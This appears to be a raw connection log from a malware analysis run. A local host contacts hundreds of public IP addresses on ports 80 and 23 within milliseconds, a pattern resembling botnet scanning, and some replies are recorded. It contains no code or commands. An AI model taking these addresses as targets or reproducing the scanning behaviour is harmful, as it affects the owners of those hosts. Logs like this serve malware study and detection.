Dec 3, 2024 21:30:48.300688982 CET	59010	80	192.168.2.23	118.124.117.133
Dec 3, 2024 21:30:48.300690889 CET	59010	80	192.168.2.23	147.220.146.73
Dec 3, 2024 21:30:48.300697088 CET	59010	80	192.168.2.23	119.170.193.83
Dec 3, 2024 21:30:48.300704002 CET	59010	80	192.168.2.23	69.177.22.204
Dec 3, 2024 21:30:48.300719976 CET	59010	80	192.168.2.23	97.210.16.73
Dec 3, 2024 21:30:48.300723076 CET	59010	80	192.168.2.23	186.87.181.207
Dec 3, 2024 21:30:48.300734043 CET	59010	80	192.168.2.23	123.81.204.233
Dec 3, 2024 21:30:48.300734043 CET	59010	80	192.168.2.23	198.75.229.144
Dec 3, 2024 21:30:48.300750971 CET	59010	80	192.168.2.23	23.123.252.98
Dec 3, 2024 21:30:48.300750971 CET	59010	80	192.168.2.23	27.120.217.12
Dec 3, 2024 21:30:48.300781965 CET	59010	80	192.168.2.23	51.136.189.110
Dec 3, 2024 21:30:48.300784111 CET	59010	80	192.168.2.23	200.210.187.218
Dec 3, 2024 21:30:48.300785065 CET	59010	80	192.168.2.23	152.9.211.192
Dec 3, 2024 21:30:48.300787926 CET	59010	80	192.168.2.23	221.149.31.206
Dec 3, 2024 21:30:48.300796032 CET	59010	80	192.168.2.23	134.215.95.187
Dec 3, 2024 21:30:48.300796032 CET	59010	80	192.168.2.23	58.217.236.83
Dec 3, 2024 21:30:48.300797939 CET	59010	80	192.168.2.23	124.43.5.187
Dec 3, 2024 21:30:48.300797939 CET	59010	80	192.168.2.23	5.177.91.242
Dec 3, 2024 21:30:48.300801039 CET	59010	80	192.168.2.23	176.218.55.75
Dec 3, 2024 21:30:48.300803900 CET	59010	80	192.168.2.23	213.197.38.99
Dec 3, 2024 21:30:48.300805092 CET	59010	80	192.168.2.23	117.62.246.31
Dec 3, 2024 21:30:48.300822973 CET	59010	80	192.168.2.23	161.47.152.100
Dec 3, 2024 21:30:48.300822973 CET	59010	80	192.168.2.23	189.188.50.17
Dec 3, 2024 21:30:48.300831079 CET	59010	80	192.168.2.23	158.214.228.44
Dec 3, 2024 21:30:48.300831079 CET	59010	80	192.168.2.23	112.128.232.222
Dec 3, 2024 21:30:48.300841093 CET	59010	80	192.168.2.23	181.8.20.198
Dec 3, 2024 21:30:48.300856113 CET	59010	80	192.168.2.23	44.117.152.101
Dec 3, 2024 21:30:48.300860882 CET	59010	80	192.168.2.23	167.220.53.15
Dec 3, 2024 21:30:48.300865889 CET	59010	80	192.168.2.23	188.119.229.217
Dec 3, 2024 21:30:48.300869942 CET	59010	80	192.168.2.23	125.186.111.209
Dec 3, 2024 21:30:48.300901890 CET	59010	80	192.168.2.23	200.48.129.17
Dec 3, 2024 21:30:48.300901890 CET	59010	80	192.168.2.23	166.95.210.58
Dec 3, 2024 21:30:48.300903082 CET	59010	80	192.168.2.23	205.50.18.157
Dec 3, 2024 21:30:48.300903082 CET	59010	80	192.168.2.23	187.89.249.112
Dec 3, 2024 21:30:48.300904036 CET	59010	80	192.168.2.23	36.187.153.181
Dec 3, 2024 21:30:48.300913095 CET	59010	80	192.168.2.23	77.190.195.112
Dec 3, 2024 21:30:48.300913095 CET	59010	80	192.168.2.23	73.63.224.206
Dec 3, 2024 21:30:48.300918102 CET	59010	80	192.168.2.23	192.142.107.20
Dec 3, 2024 21:30:48.300918102 CET	59010	80	192.168.2.23	131.164.201.45
Dec 3, 2024 21:30:48.300918102 CET	59010	80	192.168.2.23	86.44.188.191
Dec 3, 2024 21:30:48.300918102 CET	59010	80	192.168.2.23	25.202.160.10
Dec 3, 2024 21:30:48.300924063 CET	59010	80	192.168.2.23	218.29.3.125
Dec 3, 2024 21:30:48.300935030 CET	59010	80	192.168.2.23	12.190.144.196
Dec 3, 2024 21:30:48.300942898 CET	59010	80	192.168.2.23	67.28.138.162
Dec 3, 2024 21:30:48.300946951 CET	59010	80	192.168.2.23	67.246.197.73
Dec 3, 2024 21:30:48.300952911 CET	59010	80	192.168.2.23	90.101.10.134
Dec 3, 2024 21:30:48.300961018 CET	59010	80	192.168.2.23	187.220.114.202
Dec 3, 2024 21:30:48.300971031 CET	59010	80	192.168.2.23	4.18.164.32
Dec 3, 2024 21:30:48.300971985 CET	59010	80	192.168.2.23	64.102.69.1
Dec 3, 2024 21:30:48.300976038 CET	59010	80	192.168.2.23	54.131.152.120
Dec 3, 2024 21:30:48.300977945 CET	59010	80	192.168.2.23	154.101.147.120
Dec 3, 2024 21:30:48.300992966 CET	59010	80	192.168.2.23	125.239.69.216
Dec 3, 2024 21:30:48.300997972 CET	59010	80	192.168.2.23	39.141.1.26
Dec 3, 2024 21:30:48.301000118 CET	59010	80	192.168.2.23	153.200.52.25
Dec 3, 2024 21:30:48.301023006 CET	59010	80	192.168.2.23	9.125.110.72
Dec 3, 2024 21:30:48.301024914 CET	59010	80	192.168.2.23	147.157.60.246
Dec 3, 2024 21:30:48.301024914 CET	59010	80	192.168.2.23	47.123.104.146
Dec 3, 2024 21:30:48.301026106 CET	59010	80	192.168.2.23	85.204.59.96
Dec 3, 2024 21:30:48.301023960 CET	59010	80	192.168.2.23	85.136.20.192
Dec 3, 2024 21:30:48.301023960 CET	59010	80	192.168.2.23	123.17.167.61
Dec 3, 2024 21:30:48.301029921 CET	59010	80	192.168.2.23	205.179.86.152
Dec 3, 2024 21:30:48.301033020 CET	59010	80	192.168.2.23	154.16.113.223
Dec 3, 2024 21:30:48.301038980 CET	59010	80	192.168.2.23	173.147.172.112
Dec 3, 2024 21:30:48.301058054 CET	59010	80	192.168.2.23	129.59.38.117
Dec 3, 2024 21:30:48.301058054 CET	59010	80	192.168.2.23	187.186.29.63
Dec 3, 2024 21:30:48.301067114 CET	59010	80	192.168.2.23	138.241.113.121
Dec 3, 2024 21:30:48.301075935 CET	59010	80	192.168.2.23	39.251.96.7
Dec 3, 2024 21:30:48.301080942 CET	59010	80	192.168.2.23	35.121.8.246
Dec 3, 2024 21:30:48.301080942 CET	59010	80	192.168.2.23	121.247.239.126
Dec 3, 2024 21:30:48.301084995 CET	59010	80	192.168.2.23	209.219.229.10
Dec 3, 2024 21:30:48.301096916 CET	59010	80	192.168.2.23	173.93.74.43
Dec 3, 2024 21:30:48.301100016 CET	59010	80	192.168.2.23	123.148.188.181
Dec 3, 2024 21:30:48.301103115 CET	59010	80	192.168.2.23	165.174.189.170
Dec 3, 2024 21:30:48.301110983 CET	59010	80	192.168.2.23	35.155.20.169
Dec 3, 2024 21:30:48.301120043 CET	59010	80	192.168.2.23	59.28.141.57
Dec 3, 2024 21:30:48.301120043 CET	59010	80	192.168.2.23	13.66.189.4
Dec 3, 2024 21:30:48.301120043 CET	59010	80	192.168.2.23	32.22.154.180
Dec 3, 2024 21:30:48.301122904 CET	59010	80	192.168.2.23	216.97.232.22
Dec 3, 2024 21:30:48.301124096 CET	59010	80	192.168.2.23	23.207.183.13
Dec 3, 2024 21:30:48.301126957 CET	59010	80	192.168.2.23	182.217.229.206
Dec 3, 2024 21:30:48.301142931 CET	59010	80	192.168.2.23	83.107.95.119
Dec 3, 2024 21:30:48.301146030 CET	59010	80	192.168.2.23	155.38.161.235
Dec 3, 2024 21:30:48.301146984 CET	59010	80	192.168.2.23	171.198.140.189
Dec 3, 2024 21:30:48.301151037 CET	59010	80	192.168.2.23	202.211.227.31
Dec 3, 2024 21:30:48.301156998 CET	59010	80	192.168.2.23	175.45.45.220
Dec 3, 2024 21:30:48.301162958 CET	59010	80	192.168.2.23	170.59.165.133
Dec 3, 2024 21:30:48.301177979 CET	59010	80	192.168.2.23	182.210.223.169
Dec 3, 2024 21:30:48.301178932 CET	59010	80	192.168.2.23	93.175.51.79
Dec 3, 2024 21:30:48.301178932 CET	59010	80	192.168.2.23	193.19.60.239
Dec 3, 2024 21:30:48.301183939 CET	59010	80	192.168.2.23	210.90.236.21
Dec 3, 2024 21:30:48.301202059 CET	59010	80	192.168.2.23	42.59.11.189
Dec 3, 2024 21:30:48.301202059 CET	59010	80	192.168.2.23	66.125.225.123
Dec 3, 2024 21:30:48.301208973 CET	59010	80	192.168.2.23	195.99.82.25
Dec 3, 2024 21:30:48.301211119 CET	59010	80	192.168.2.23	195.54.139.1
Dec 3, 2024 21:30:48.301218033 CET	59010	80	192.168.2.23	146.226.219.80
Dec 3, 2024 21:30:48.301229000 CET	59010	80	192.168.2.23	155.208.17.207
Dec 3, 2024 21:30:48.301229000 CET	59010	80	192.168.2.23	149.235.172.113
Dec 3, 2024 21:30:48.301229000 CET	59010	80	192.168.2.23	142.222.169.146
Dec 3, 2024 21:30:48.301229000 CET	59010	80	192.168.2.23	4.132.24.149
Dec 3, 2024 21:30:48.301246881 CET	59010	80	192.168.2.23	221.24.65.115
Dec 3, 2024 21:30:48.301248074 CET	59010	80	192.168.2.23	140.246.143.80
Dec 3, 2024 21:30:48.301250935 CET	59010	80	192.168.2.23	38.135.220.202
Dec 3, 2024 21:30:48.301270962 CET	59010	80	192.168.2.23	1.235.45.39
Dec 3, 2024 21:30:48.301274061 CET	59010	80	192.168.2.23	48.138.214.190
Dec 3, 2024 21:30:48.301280022 CET	59010	80	192.168.2.23	109.154.254.217
Dec 3, 2024 21:30:48.301280975 CET	59010	80	192.168.2.23	177.8.66.239
Dec 3, 2024 21:30:48.301296949 CET	59010	80	192.168.2.23	49.205.154.45
Dec 3, 2024 21:30:48.301297903 CET	59010	80	192.168.2.23	8.86.253.75
Dec 3, 2024 21:30:48.301305056 CET	59010	80	192.168.2.23	80.69.11.198
Dec 3, 2024 21:30:48.301323891 CET	59010	80	192.168.2.23	77.20.83.254
Dec 3, 2024 21:30:48.301325083 CET	59010	80	192.168.2.23	105.124.144.64
Dec 3, 2024 21:30:48.301332951 CET	59010	80	192.168.2.23	194.198.86.59
Dec 3, 2024 21:30:48.301335096 CET	59010	80	192.168.2.23	82.182.36.165
Dec 3, 2024 21:30:48.301335096 CET	59010	80	192.168.2.23	120.179.139.232
Dec 3, 2024 21:30:48.301335096 CET	59010	80	192.168.2.23	218.7.183.81
Dec 3, 2024 21:30:48.301337957 CET	59010	80	192.168.2.23	18.70.143.98
Dec 3, 2024 21:30:48.301342964 CET	59010	80	192.168.2.23	185.4.60.237
Dec 3, 2024 21:30:48.301342964 CET	59010	80	192.168.2.23	158.195.236.194
Dec 3, 2024 21:30:48.301358938 CET	59010	80	192.168.2.23	85.3.96.142
Dec 3, 2024 21:30:48.301362991 CET	59010	80	192.168.2.23	61.33.196.176
Dec 3, 2024 21:30:48.301362991 CET	59010	80	192.168.2.23	24.155.226.46
Dec 3, 2024 21:30:48.301368952 CET	59010	80	192.168.2.23	174.216.177.51
Dec 3, 2024 21:30:48.301378965 CET	59010	80	192.168.2.23	208.30.4.66
Dec 3, 2024 21:30:48.301382065 CET	59010	80	192.168.2.23	84.188.234.106
Dec 3, 2024 21:30:48.301393986 CET	59010	80	192.168.2.23	135.37.233.31
Dec 3, 2024 21:30:48.301398993 CET	59010	80	192.168.2.23	18.133.155.159
Dec 3, 2024 21:30:48.301407099 CET	59010	80	192.168.2.23	53.210.126.2
Dec 3, 2024 21:30:48.301413059 CET	59010	80	192.168.2.23	67.97.144.144
Dec 3, 2024 21:30:48.301423073 CET	59010	80	192.168.2.23	32.248.215.86
Dec 3, 2024 21:30:48.301424026 CET	59010	80	192.168.2.23	62.189.74.95
Dec 3, 2024 21:30:48.301429987 CET	59010	80	192.168.2.23	147.13.135.7
Dec 3, 2024 21:30:48.301449060 CET	59010	80	192.168.2.23	188.130.93.224
Dec 3, 2024 21:30:48.301449060 CET	59010	80	192.168.2.23	47.186.209.26
Dec 3, 2024 21:30:48.301450014 CET	59010	80	192.168.2.23	136.8.149.134
Dec 3, 2024 21:30:48.301454067 CET	59010	80	192.168.2.23	24.170.224.195
Dec 3, 2024 21:30:48.301457882 CET	59010	80	192.168.2.23	217.57.100.55
Dec 3, 2024 21:30:48.301469088 CET	59010	80	192.168.2.23	61.173.109.71
Dec 3, 2024 21:30:48.301474094 CET	59010	80	192.168.2.23	68.159.151.149
Dec 3, 2024 21:30:48.301477909 CET	59010	80	192.168.2.23	148.135.238.188
Dec 3, 2024 21:30:48.301481962 CET	59010	80	192.168.2.23	80.89.252.72
Dec 3, 2024 21:30:48.301496983 CET	59010	80	192.168.2.23	107.179.170.31
Dec 3, 2024 21:30:48.301496983 CET	59010	80	192.168.2.23	189.171.23.16
Dec 3, 2024 21:30:48.301496983 CET	59010	80	192.168.2.23	192.186.185.7
Dec 3, 2024 21:30:48.301505089 CET	59010	80	192.168.2.23	107.217.250.13
Dec 3, 2024 21:30:48.301527977 CET	59010	80	192.168.2.23	159.66.182.115
Dec 3, 2024 21:30:48.301527977 CET	59010	80	192.168.2.23	27.211.132.151
Dec 3, 2024 21:30:48.301527977 CET	59010	80	192.168.2.23	77.119.247.18
Dec 3, 2024 21:30:48.301531076 CET	59010	80	192.168.2.23	153.229.25.253
Dec 3, 2024 21:30:48.301537991 CET	59010	80	192.168.2.23	64.201.62.118
Dec 3, 2024 21:30:48.301537991 CET	59010	80	192.168.2.23	152.163.190.175
Dec 3, 2024 21:30:48.301537991 CET	59010	80	192.168.2.23	8.222.102.185
Dec 3, 2024 21:30:48.301542044 CET	59010	80	192.168.2.23	42.64.223.38
Dec 3, 2024 21:30:48.301542044 CET	59010	80	192.168.2.23	151.221.238.133
Dec 3, 2024 21:30:48.301542044 CET	59010	80	192.168.2.23	136.190.169.115
Dec 3, 2024 21:30:48.301544905 CET	59010	80	192.168.2.23	61.5.237.169
Dec 3, 2024 21:30:48.301546097 CET	59010	80	192.168.2.23	78.102.139.77
Dec 3, 2024 21:30:48.301551104 CET	59010	80	192.168.2.23	17.237.228.249
Dec 3, 2024 21:30:48.301553011 CET	59010	80	192.168.2.23	137.46.113.138
Dec 3, 2024 21:30:48.301554918 CET	59010	80	192.168.2.23	146.78.116.168
Dec 3, 2024 21:30:48.301557064 CET	59010	80	192.168.2.23	65.105.112.225
Dec 3, 2024 21:30:48.301559925 CET	59010	80	192.168.2.23	100.34.117.112
Dec 3, 2024 21:30:48.301561117 CET	59010	80	192.168.2.23	202.233.247.64
Dec 3, 2024 21:30:48.301578045 CET	59010	80	192.168.2.23	14.125.118.208
Dec 3, 2024 21:30:48.301580906 CET	59010	80	192.168.2.23	104.38.168.140
Dec 3, 2024 21:30:48.301587105 CET	59010	80	192.168.2.23	219.244.13.67
Dec 3, 2024 21:30:48.301595926 CET	59010	80	192.168.2.23	166.110.230.97
Dec 3, 2024 21:30:48.301595926 CET	59010	80	192.168.2.23	173.64.44.238
Dec 3, 2024 21:30:48.301613092 CET	59010	80	192.168.2.23	188.153.46.132
Dec 3, 2024 21:30:48.301614046 CET	59010	80	192.168.2.23	8.127.68.148
Dec 3, 2024 21:30:48.301615000 CET	59010	80	192.168.2.23	102.121.26.216
Dec 3, 2024 21:30:48.301618099 CET	59010	80	192.168.2.23	208.114.31.124
Dec 3, 2024 21:30:48.301634073 CET	59010	80	192.168.2.23	42.53.137.151
Dec 3, 2024 21:30:48.301636934 CET	59010	80	192.168.2.23	146.238.244.36
Dec 3, 2024 21:30:48.301636934 CET	59010	80	192.168.2.23	160.202.172.251
Dec 3, 2024 21:30:48.301640987 CET	59010	80	192.168.2.23	199.140.171.208
Dec 3, 2024 21:30:48.301652908 CET	59010	80	192.168.2.23	148.235.230.204
Dec 3, 2024 21:30:48.301657915 CET	59010	80	192.168.2.23	201.245.65.108
Dec 3, 2024 21:30:48.301675081 CET	59010	80	192.168.2.23	66.36.253.56
Dec 3, 2024 21:30:48.301675081 CET	59010	80	192.168.2.23	146.73.95.205
Dec 3, 2024 21:30:48.301681995 CET	59010	80	192.168.2.23	8.158.26.204
Dec 3, 2024 21:30:48.301682949 CET	59010	80	192.168.2.23	142.214.241.39
Dec 3, 2024 21:30:48.301688910 CET	59010	80	192.168.2.23	142.156.1.3
Dec 3, 2024 21:30:48.301698923 CET	59010	80	192.168.2.23	67.207.238.165
Dec 3, 2024 21:30:48.301704884 CET	59010	80	192.168.2.23	89.231.40.44
Dec 3, 2024 21:30:48.301708937 CET	59010	80	192.168.2.23	85.83.221.61
Dec 3, 2024 21:30:48.301724911 CET	59010	80	192.168.2.23	4.202.87.75
Dec 3, 2024 21:30:48.301726103 CET	59010	80	192.168.2.23	201.105.204.92
Dec 3, 2024 21:30:48.301728010 CET	59010	80	192.168.2.23	150.15.216.22
Dec 3, 2024 21:30:48.301740885 CET	59010	80	192.168.2.23	166.109.199.138
Dec 3, 2024 21:30:48.301747084 CET	59010	80	192.168.2.23	188.86.96.211
Dec 3, 2024 21:30:48.301752090 CET	59010	80	192.168.2.23	23.234.42.143
Dec 3, 2024 21:30:48.301764011 CET	59010	80	192.168.2.23	176.124.4.31
Dec 3, 2024 21:30:48.301764011 CET	59010	80	192.168.2.23	100.25.66.10
Dec 3, 2024 21:30:48.301780939 CET	59010	80	192.168.2.23	47.93.237.9
Dec 3, 2024 21:30:48.301789999 CET	59010	80	192.168.2.23	114.77.67.50
Dec 3, 2024 21:30:48.301789999 CET	59010	80	192.168.2.23	204.254.41.181
Dec 3, 2024 21:30:48.301791906 CET	59010	80	192.168.2.23	37.18.149.230
Dec 3, 2024 21:30:48.301798105 CET	59010	80	192.168.2.23	132.49.54.10
Dec 3, 2024 21:30:48.301800966 CET	59010	80	192.168.2.23	27.1.163.15
Dec 3, 2024 21:30:48.301801920 CET	59010	80	192.168.2.23	193.7.55.92
Dec 3, 2024 21:30:48.301801920 CET	59010	80	192.168.2.23	108.122.237.130
Dec 3, 2024 21:30:48.301819086 CET	59010	80	192.168.2.23	79.184.198.74
Dec 3, 2024 21:30:48.301821947 CET	59010	80	192.168.2.23	106.254.245.56
Dec 3, 2024 21:30:48.301836967 CET	59010	80	192.168.2.23	105.137.118.204
Dec 3, 2024 21:30:48.301837921 CET	59010	80	192.168.2.23	105.26.3.156
Dec 3, 2024 21:30:48.301841974 CET	59010	80	192.168.2.23	4.79.78.61
Dec 3, 2024 21:30:48.301845074 CET	59010	80	192.168.2.23	121.153.136.39
Dec 3, 2024 21:30:48.301845074 CET	59010	80	192.168.2.23	213.195.58.112
Dec 3, 2024 21:30:48.301853895 CET	59010	80	192.168.2.23	27.53.118.115
Dec 3, 2024 21:30:48.301865101 CET	59010	80	192.168.2.23	150.4.135.3
Dec 3, 2024 21:30:48.301870108 CET	59010	80	192.168.2.23	136.53.45.2
Dec 3, 2024 21:30:48.301870108 CET	59010	80	192.168.2.23	179.134.187.36
Dec 3, 2024 21:30:48.301877022 CET	59010	80	192.168.2.23	86.102.73.113
Dec 3, 2024 21:30:48.301887989 CET	59010	80	192.168.2.23	72.28.13.25
Dec 3, 2024 21:30:48.301894903 CET	59010	80	192.168.2.23	155.244.102.37
Dec 3, 2024 21:30:48.301906109 CET	59010	80	192.168.2.23	61.125.56.105
Dec 3, 2024 21:30:48.301908016 CET	59010	80	192.168.2.23	109.197.61.94
Dec 3, 2024 21:30:48.301919937 CET	59010	80	192.168.2.23	1.110.167.218
Dec 3, 2024 21:30:48.301927090 CET	59010	80	192.168.2.23	39.52.219.79
Dec 3, 2024 21:30:48.301932096 CET	59010	80	192.168.2.23	107.218.133.63
Dec 3, 2024 21:30:48.301932096 CET	59010	80	192.168.2.23	207.1.247.255
Dec 3, 2024 21:30:48.301939964 CET	59010	80	192.168.2.23	165.214.42.157
Dec 3, 2024 21:30:48.301963091 CET	59010	80	192.168.2.23	125.160.193.92
Dec 3, 2024 21:30:48.301963091 CET	59010	80	192.168.2.23	158.117.138.92
Dec 3, 2024 21:30:48.301963091 CET	59010	80	192.168.2.23	36.234.106.67
Dec 3, 2024 21:30:48.301968098 CET	59010	80	192.168.2.23	64.99.110.48
Dec 3, 2024 21:30:48.301970959 CET	59010	80	192.168.2.23	53.123.226.55
Dec 3, 2024 21:30:48.301975965 CET	59010	80	192.168.2.23	141.63.13.92
Dec 3, 2024 21:30:48.301981926 CET	59010	80	192.168.2.23	35.100.14.106
Dec 3, 2024 21:30:48.302000046 CET	59010	80	192.168.2.23	88.50.56.177
Dec 3, 2024 21:30:48.302006006 CET	59010	80	192.168.2.23	90.1.0.252
Dec 3, 2024 21:30:48.302006960 CET	59010	80	192.168.2.23	130.70.55.175
Dec 3, 2024 21:30:48.302011013 CET	59010	80	192.168.2.23	47.133.147.219
Dec 3, 2024 21:30:48.302011013 CET	59010	80	192.168.2.23	155.244.50.144
Dec 3, 2024 21:30:48.302021980 CET	59010	80	192.168.2.23	24.243.239.125
Dec 3, 2024 21:30:48.302026987 CET	59010	80	192.168.2.23	115.239.221.88
Dec 3, 2024 21:30:48.302027941 CET	59010	80	192.168.2.23	158.86.22.200
Dec 3, 2024 21:30:48.302046061 CET	59010	80	192.168.2.23	99.15.120.59
Dec 3, 2024 21:30:48.302047968 CET	59010	80	192.168.2.23	204.20.151.45
Dec 3, 2024 21:30:48.302050114 CET	59010	80	192.168.2.23	27.85.178.8
Dec 3, 2024 21:30:48.302053928 CET	59010	80	192.168.2.23	65.75.213.164
Dec 3, 2024 21:30:48.302061081 CET	59010	80	192.168.2.23	17.137.168.114
Dec 3, 2024 21:30:48.302069902 CET	59010	80	192.168.2.23	160.28.151.73
Dec 3, 2024 21:30:48.302082062 CET	59010	80	192.168.2.23	50.207.221.215
Dec 3, 2024 21:30:48.302082062 CET	59010	80	192.168.2.23	50.179.123.215
Dec 3, 2024 21:30:48.302099943 CET	59010	80	192.168.2.23	114.238.197.86
Dec 3, 2024 21:30:48.302236080 CET	60518	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:48.302249908 CET	60518	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:48.302716970 CET	60814	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:48.303081036 CET	36088	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:48.303081036 CET	36088	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:48.303364038 CET	36366	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:48.303730011 CET	37520	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:48.303760052 CET	37520	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:48.304029942 CET	37786	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:48.307753086 CET	50156	80	192.168.2.23	58.168.110.144
Dec 3, 2024 21:30:48.307754040 CET	33120	80	192.168.2.23	52.200.108.226
Dec 3, 2024 21:30:48.307755947 CET	54644	80	192.168.2.23	123.240.89.124
Dec 3, 2024 21:30:48.307764053 CET	60738	80	192.168.2.23	202.97.254.254
Dec 3, 2024 21:30:48.307771921 CET	57084	80	192.168.2.23	182.169.32.170
Dec 3, 2024 21:30:48.307775974 CET	48028	80	192.168.2.23	64.8.100.136
Dec 3, 2024 21:30:48.307777882 CET	60354	80	192.168.2.23	198.116.35.7
Dec 3, 2024 21:30:48.307785034 CET	44980	80	192.168.2.23	218.251.189.170
Dec 3, 2024 21:30:48.307787895 CET	51684	80	192.168.2.23	76.148.251.234
Dec 3, 2024 21:30:48.307797909 CET	34412	80	192.168.2.23	115.99.6.127
Dec 3, 2024 21:30:48.307801008 CET	55220	80	192.168.2.23	200.11.18.9
Dec 3, 2024 21:30:48.307802916 CET	58354	80	192.168.2.23	102.60.181.107
Dec 3, 2024 21:30:48.307809114 CET	59296	80	192.168.2.23	129.164.231.71
Dec 3, 2024 21:30:48.307811022 CET	58056	80	192.168.2.23	178.59.183.48
Dec 3, 2024 21:30:48.307811022 CET	33304	80	192.168.2.23	107.226.250.115
Dec 3, 2024 21:30:48.307816982 CET	58864	80	192.168.2.23	97.223.129.229
Dec 3, 2024 21:30:48.307816982 CET	45534	80	192.168.2.23	110.230.253.216
Dec 3, 2024 21:30:48.307821989 CET	48288	80	192.168.2.23	89.165.54.210
Dec 3, 2024 21:30:48.307823896 CET	59834	80	192.168.2.23	12.110.131.42
Dec 3, 2024 21:30:48.307823896 CET	59368	80	192.168.2.23	130.122.83.128
Dec 3, 2024 21:30:48.334173918 CET	80	54956	20.208.169.44	192.168.2.23
Dec 3, 2024 21:30:48.334228992 CET	23	35656	76.197.255.59	192.168.2.23
Dec 3, 2024 21:30:48.334239006 CET	80	38070	126.106.81.125	192.168.2.23
Dec 3, 2024 21:30:48.334357023 CET	54956	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.334357977 CET	35656	23	192.168.2.23	76.197.255.59
Dec 3, 2024 21:30:48.334357977 CET	38070	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.334357977 CET	54956	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.334357977 CET	54956	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.334655046 CET	55180	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.335051060 CET	38070	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.335051060 CET	38070	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.335352898 CET	38312	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.339749098 CET	60678	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:48.339755058 CET	37002	80	192.168.2.23	67.64.187.21
Dec 3, 2024 21:30:48.339756966 CET	57090	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:48.339756966 CET	59816	80	192.168.2.23	146.130.90.64
Dec 3, 2024 21:30:48.339768887 CET	45018	80	192.168.2.23	202.42.96.98
Dec 3, 2024 21:30:48.339771986 CET	45912	80	192.168.2.23	197.193.109.69
Dec 3, 2024 21:30:48.339772940 CET	38622	80	192.168.2.23	169.147.210.149
Dec 3, 2024 21:30:48.339783907 CET	39536	80	192.168.2.23	57.197.211.127
Dec 3, 2024 21:30:48.339783907 CET	54144	80	192.168.2.23	153.235.201.91
Dec 3, 2024 21:30:48.339786053 CET	52424	80	192.168.2.23	152.93.170.225
Dec 3, 2024 21:30:48.339798927 CET	55748	80	192.168.2.23	121.95.75.48
Dec 3, 2024 21:30:48.339804888 CET	41688	80	192.168.2.23	76.79.68.28
Dec 3, 2024 21:30:48.339807034 CET	39260	80	192.168.2.23	54.119.235.220
Dec 3, 2024 21:30:48.339812994 CET	52200	80	192.168.2.23	161.249.62.52
Dec 3, 2024 21:30:48.339812994 CET	50446	80	192.168.2.23	87.20.9.48
Dec 3, 2024 21:30:48.339813948 CET	51646	80	192.168.2.23	142.121.136.148
Dec 3, 2024 21:30:48.339816093 CET	60442	80	192.168.2.23	196.118.176.152
Dec 3, 2024 21:30:48.339829922 CET	41776	80	192.168.2.23	207.5.76.25
Dec 3, 2024 21:30:48.339834929 CET	56996	80	192.168.2.23	191.132.168.221
Dec 3, 2024 21:30:48.339837074 CET	37144	80	192.168.2.23	185.162.190.230
Dec 3, 2024 21:30:48.339839935 CET	58938	80	192.168.2.23	17.86.28.212
Dec 3, 2024 21:30:48.339849949 CET	35518	80	192.168.2.23	161.26.235.62
Dec 3, 2024 21:30:48.339853048 CET	53408	80	192.168.2.23	135.109.102.143
Dec 3, 2024 21:30:48.339855909 CET	35432	80	192.168.2.23	223.162.195.215
Dec 3, 2024 21:30:48.339855909 CET	45004	80	192.168.2.23	178.101.159.218
Dec 3, 2024 21:30:48.339859009 CET	46086	80	192.168.2.23	31.86.182.119
Dec 3, 2024 21:30:48.339864969 CET	47732	80	192.168.2.23	109.234.214.16
Dec 3, 2024 21:30:48.339871883 CET	43140	80	192.168.2.23	114.207.48.70
Dec 3, 2024 21:30:48.339881897 CET	34438	80	192.168.2.23	157.191.168.219
Dec 3, 2024 21:30:48.339884043 CET	33158	80	192.168.2.23	84.2.157.168
Dec 3, 2024 21:30:48.339884043 CET	55218	80	192.168.2.23	95.154.134.134
Dec 3, 2024 21:30:48.339890003 CET	55706	80	192.168.2.23	48.98.7.80
Dec 3, 2024 21:30:48.339890003 CET	35286	80	192.168.2.23	93.109.211.120
Dec 3, 2024 21:30:48.339890003 CET	40430	80	192.168.2.23	181.135.94.144
Dec 3, 2024 21:30:48.339890003 CET	49798	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:48.339890957 CET	38852	80	192.168.2.23	126.39.75.57
Dec 3, 2024 21:30:48.365902901 CET	23	34770	177.22.117.95	192.168.2.23
Dec 3, 2024 21:30:48.365958929 CET	23	37636	50.163.33.191	192.168.2.23
Dec 3, 2024 21:30:48.365989923 CET	23	40344	123.202.252.202	192.168.2.23
Dec 3, 2024 21:30:48.366063118 CET	40344	23	192.168.2.23	123.202.252.202
Dec 3, 2024 21:30:48.366082907 CET	34770	23	192.168.2.23	177.22.117.95
Dec 3, 2024 21:30:48.366086006 CET	37636	23	192.168.2.23	50.163.33.191
Dec 3, 2024 21:30:48.396109104 CET	80	48512	185.106.6.240	192.168.2.23
Dec 3, 2024 21:30:48.396123886 CET	80	53798	70.59.74.111	192.168.2.23
Dec 3, 2024 21:30:48.396132946 CET	23	45200	157.91.73.108	192.168.2.23
Dec 3, 2024 21:30:48.396301031 CET	48512	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.396311998 CET	53798	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.396311998 CET	45200	23	192.168.2.23	157.91.73.108
Dec 3, 2024 21:30:48.396311998 CET	53798	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.396311998 CET	53798	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.396709919 CET	53976	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.397048950 CET	48512	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.397048950 CET	48512	80	192.168.2.23	185.106.6.240
